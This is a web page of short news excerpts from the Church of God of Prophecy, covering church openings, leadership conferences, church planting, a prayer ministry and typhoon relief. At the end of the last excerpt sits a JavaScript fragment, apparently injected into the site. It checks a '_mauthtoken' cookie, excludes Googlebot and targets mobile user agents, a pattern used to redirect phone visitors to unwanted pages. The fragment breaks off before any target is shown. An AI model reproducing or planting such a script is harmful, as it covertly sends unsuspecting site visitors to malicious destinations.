“Now you are the body of Christ, and members in particular” (1 Corinthians 12:27). As a small boy our Pentecostal church was at the center of my life. My father was a bishop in the Church of God of Prophecy as long as I can remember and most of the Christians I knew went to …
On Sunday, January 12, J. Scott Gillum, State Overseer, received into the Church of God of Prophecy Lighthouse World Outreach Center in Winchester, Kentucky. Regional Presbyter, Bishop Willard Estep, and Bishop Sam Clements, North American Presbyter, assisted in this effort. Pastor Ryan and Tressa Dotson along with their family, staff, and congregation were administered the …
2012–2013 has been two years full of challenges. In October 2012, we finally found a good place to worship as a church. We are very grateful to God for this. We opened the year 2013 with many events and conferences to celebrate what the Lord has done. We have recently heard from the owner of …
South America continues on our journey to fulfill the terms of the Great Commission through the values of Vision 2020. Recently we celebrated our third International Leadership Conference (CIL 2013) in the city of Santa Cruz, Bolivia. Included among those in attendance were about 400 key leaders participating in conferences during the day and over …
In North America, we are witnessing a renewed commitment and zeal to move forward. The 2013 convention season was one of the best in many years. We were especially thrilled to see so many young adults, youth, and children not only attending but participating in the ministry. They were greatly involved in worship, preaching, and …
International Leadership Conference 2013 We rejoice in the benefits and blessings of the recent leadership conference serving the region of Europe, the Middle East, and Eastern Europe. Hosted in the nation of Ukraine and specifically welcomed by the fellowship from Emmanuel Church in Kiev, this conference proved to be one of our more productive conferences …
Revitalizing of Church Planting in Guyana A New Church Planted at Mora, Essequibo Coast In January of 2013, I felt moved in my spirit to present to our Caribbean Leadership Conference my personal vision on revitalizing church planting in Guyana. I stated in my short term plans my goal to plant at least two local …
Red Tent Prayer Ministries: Stepping Out In Faith In 2012, a group of young adults from our Brisbane church began leading a prayer ministry at the local farmer’s market. “Red Tent Prayer Ministry” as it was called, aimed to provide healing, encouragement, and prayer to anyone who wanted it. In early 2013, other members of …
Most of us have seen some of the images from the devastation left in the aftermath of the Haiyan (Yolanda) typhoon that hit the Philippines during the month of November. Rogelio Justiniano, our National Bishop in the Philippines, kept us up to date daily in the early reporting of the effects of the storm on …
One of our leaders was recently able to visit the work in East Asia. He spoke of the great blessing to fellowship with these precious people who truly worship God in pure sincerity and truth. Please continue to pray for this region and the new work that is growing. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows …